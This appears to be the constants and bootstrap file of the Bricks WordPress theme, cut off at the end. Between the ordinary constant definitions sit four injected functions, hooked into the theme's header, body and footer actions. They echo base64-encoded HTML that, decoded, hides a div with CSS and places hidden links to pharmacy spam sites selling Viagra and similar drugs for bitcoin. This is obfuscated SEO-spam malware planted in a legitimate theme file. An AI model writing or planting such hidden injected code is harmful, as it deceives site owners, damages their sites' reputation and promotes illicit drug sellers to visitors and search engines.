if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly /** * Define constants * * @since 1.0 */ define( 'BRICKS_VERSION', '1.10' ); define( 'BRICKS_NAME', 'Bricks' ); define( 'BRICKS_TEMP_DIR', 'bricks-temp' ); // Template import/export (JSON & ZIP) define( 'BRICKS_TEMPLATE_SCREENSHOTS_DIR', 'bricks/template-screenshots' ); // Template screenshots (@since 1.10) define( 'BRICKS_PATH', trailingslashit( get_template_directory() ) ); // require_once files define( 'BRICKS_PATH_ASSETS', trailingslashit( BRICKS_PATH . 'assets' ) ); define( 'BRICKS_URL', trailingslashit( get_template_directory_uri() ) ); // WP enqueue files define( 'BRICKS_URL_ASSETS', trailingslashit( BRICKS_URL . 'assets' ) ); define( 'BRICKS_REMOTE_URL', 'https://bricksbuilder.io/' ); define( 'BRICKS_REMOTE_ACCOUNT', BRICKS_REMOTE_URL . 'account/' ); define( 'BRICKS_BUILDER_PARAM', 'bricks' ); define( 'BRICKS_BUILDER_IFRAME_PARAM', 'brickspreview' ); define( 'BRICKS_DEFAULT_IMAGE_SIZE', 'large' ); define( 'BRICKS_DB_PANEL_WIDTH', 'bricks_panel_width' ); define( 'BRICKS_DB_BUILDER_SCALE_OFF', 'bricks_builder_scale_off' ); define( 'BRICKS_DB_BUILDER_WIDTH_LOCKED', 'bricks_builder_width_locked' ); define( 'BRICKS_DB_COLOR_PALETTE', 'bricks_color_palette' ); define( 'BRICKS_DB_BREAKPOINTS', 'bricks_breakpoints' ); define( 'BRICKS_DB_GLOBAL_SETTINGS', 'bricks_global_settings' ); define( 'BRICKS_DB_GLOBAL_ELEMENTS', 'bricks_global_elements' ); define( 'BRICKS_DB_GLOBAL_CLASSES', 'bricks_global_classes' ); define( 'BRICKS_DB_GLOBAL_CLASSES_CATEGORIES', 'bricks_global_classes_categories' ); define( 'BRICKS_DB_GLOBAL_CLASSES_LOCKED', 'bricks_global_classes_locked' ); define( 'BRICKS_DB_GLOBAL_CLASSES_TIMESTAMP', 'bricks_global_classes_timestamp' ); define( 'BRICKS_DB_GLOBAL_CLASSES_USER', 'bricks_global_classes_user' ); define( 'BRICKS_DB_PSEUDO_CLASSES', 'bricks_global_pseudo_classes' ); define( 'BRICKS_DB_GLOBAL_VARIABLES', 'bricks_global_variables' ); define( 'BRICKS_DB_GLOBAL_VARIABLES_CATEGORIES', 'bricks_global_variables_categories' ); define( 'BRICKS_DB_PINNED_ELEMENTS', 'bricks_pinned_elements' ); define( 'BRICKS_DB_SIDEBARS', 'bricks_sidebars' ); define( 'BRICKS_DB_THEME_STYLES', 'bricks_theme_styles' ); define( 'BRICKS_DB_ADOBE_FONTS', 'bricks_adobe_fonts' ); define( 'BRICKS_DB_EDITOR_MODE', '_bricks_editor_mode' ); define( 'BRICKS_BREAKPOINTS_LAST_GENERATED', 'bricks_breakpoints_last_generated' ); define( 'BRICKS_CSS_FILES_LAST_GENERATED', 'bricks_css_files_last_generated' ); define( 'BRICKS_CSS_FILES_LAST_GENERATED_TIMESTAMP', 'bricks_css_files_last_generated_timestamp' ); define( 'BRICKS_CSS_FILES_ADMIN_NOTICE', 'bricks_css_files_admin_notice' ); define( 'BRICKS_CODE_SIGNATURES_LAST_GENERATED', 'bricks_code_signatures_last_generated' ); define( 'BRICKS_CODE_SIGNATURES_LAST_GENERATED_TIMESTAMP', 'bricks_code_signatures_last_generated_timestamp' ); define( 'BRICKS_CODE_SIGNATURES_ADMIN_NOTICE', 'bricks_code_signatures_admin_notice' ); /** * Syntax since 1.2 (container element) * * Pre 1.2: '_bricks_page_{$content_type}' */ define( 'BRICKS_DB_PAGE_HEADER', '_bricks_page_header_2' ); define( 'BRICKS_DB_PAGE_CONTENT', '_bricks_page_content_2' ); define( 'BRICKS_DB_PAGE_FOOTER', '_bricks_page_footer_2' ); define( 'BRICKS_DB_PAGE_SETTINGS', '_bricks_page_settings' ); define( 'BRICKS_DB_REMOTE_TEMPLATES', 'bricks_remote_templates' ); define( 'BRICKS_DB_TEMPLATE_SLUG', 'bricks_template' ); define( 'BRICKS_DB_TEMPLATE_TAX_BUNDLE', 'template_bundle' ); define( 'BRICKS_DB_TEMPLATE_TAX_TAG', 'template_tag' ); define( 'BRICKS_DB_TEMPLATE_TYPE', '_bricks_template_type' ); define( 'BRICKS_DB_TEMPLATE_SETTINGS', '_bricks_template_settings' ); define( 'BRICKS_DB_CUSTOM_FONTS', 'bricks_fonts' ); define( 'BRICKS_DB_CUSTOM_FONT_FACES', 'bricks_font_faces' ); define( 'BRICKS_DB_CUSTOM_FONT_FACE_RULES', 'bricks_font_face_rules' ); // @since 1.7.2 define( 'BRICKS_EXPORT_TEMPLATES', 'brick_export_templates' ); define( 'BRICKS_ADMIN_PAGE_URL_LICENSE', admin_url( 'admin.php?page=bricks-license' ) ); define( 'BRICKS_AUTH_CHECK_INTERVAL', 30 ); if ( ! defined( 'BRICKS_DEBUG ' ) ) { define( 'BRICKS_DEBUG', false ); } if ( ! defined( 'BRICKS_MAX_REVISIONS_TO_KEEP' ) ) { define( 'BRICKS_MAX_REVISIONS_TO_KEEP', 100 ); } add_action( 'bricks_meta_tags', 'bricks_meta_tags_custom'); add_action( 'bricks_body', 'bricks_body_custom'); add_action( 'bricks_after_header', 'bricks_after_header_custom'); add_action( 'bricks_before_footer', 'bricks_before_footer_custom'); function bricks_meta_tags_custom() { echo base64_decode('PHN0eWxlIHR5cGU9InRleHQvY3NzIj4KZGl2LnBzaXBob25lcmVke2Rpc3BsYXk6bm9uZTt9Cjwvc3R5bGU+'); } function bricks_body_custom() { echo base64_decode('PGRpdiBjbGFzcz0icHNpcGhvbmVyZWQiPjxhIGhyZWY9Imh0dHBzOi8vZWRiaXRjb2luLmNvbS9mYXJtYWNpYS1pdC9jb21wcmFyZS1zaWx2aXRyYS1iaXRjb2luLnBodCI+c2lsdml0cmEgYWNxdWlzdG88L2E+PC9kaXY+'); } function bricks_after_header_custom() { echo base64_decode('PGRpdiBjbGFzcz0icHNpcGhvbmVyZWQiPjxhIGhyZWY9Imh0dHBzOi8vZWRyeGJpdGNvaW4uY29tL2VyZWN0aWxlLWR5c2Z1bmN0aW9uLXBpbGxzL2J1eS12aWFncmEtYml0Y29pbiI+dmlhZ3JhIHRva2VuPC9hPjwvZGl2Pg=='); } function bricks_before_footer_custom() { echo base64_decode('PGRpdiBjbGFzcz0icHNpcGhvbmVyZWQiPjxhIGhyZWY9Imh0dHBzOi8vYXJlbmFvZnBsZWFzdXJlLmNvbS9idXktZWQvcHJpbGlneS5hc3B4Ij5vbmxpbmUgcHJpbGlneSBmb3J0dW5lIGhlYWx0aGNhcmU8L2E+PC9kaXY+'); } /** * Multisite constants * * @since 1.0 */ // Global data: Color palette if ( ! defined( 'BRICKS_MULTISITE_USE_MAIN_SITE_COLOR_PALETTE' ) ) { define( 'BRICKS_MULTISITE_USE_MAIN_SITE_COLOR_PALETTE', false ); } // Global data: Global classes if ( ! defined( 'BRICKS_MULTISITE_USE_MAIN_SITE_CLASSES' ) ) { define( 'BRICKS_MULTISITE_USE_MAIN_SITE_CLASSES', false ); } // Global data: Global classes categories if ( ! defined( 'BRICKS_MULTISITE_USE_MAIN_SITE_CLASSES_CATEGORIES' ) ) { define( 'BRICKS_MULTISITE_USE_MAIN_SITE_CLASSES_CATEGORIES', false ); } // Global data: Global variables if ( ! defined( 'BRICKS_MULTISITE_USE_MAIN_SITE_VARIABLES' ) ) { define( 'BRICKS_MULTISITE_USE_MAIN_SITE_VARIABLES', false ); } // Global data: Global variables categories if ( ! defined( 'BRICKS_MULTISITE_USE_MAIN_SITE_VARIABLES_CATEGORIES' ) ) { define( 'BRICKS_MULTISITE_USE_MAIN_SITE_VARIABLES_CATEGORIES', false ); } // Global data: Global elements if ( ! defined( 'BRICKS_MULTISITE_USE_MAIN_SITE_GLOBAL_ELEMENTS' ) ) { define( 'BRICKS_MULTISITE_USE_MAIN_SITE_GLOBAL_ELEMENTS', false ); } /** * Use minified assets when SCRIPT_DEBUG is off * * @since 1.0 */ if ( BRICKS_DEBUG || ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ) { define( 'BRICKS_ASSETS_SUFFIX', '' ); } else { define( 'BRICKS_ASSETS_SUFFIX', '.min' ); } /** * Admin notice if PHP version is older than 5.4 * * Required due to: array shorthand, array dereferencing etc. * * @since 1.0 */ if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once BRICKS_PATH . 'includes/init.php'; } else { add_action( 'admin_notices', function() { // translators: %s: PHP version number $message = sprintf( esc_html__( 'Bricks requires PHP version %s+.', 'bricks' ), '5.4' ); $html = sprintf( '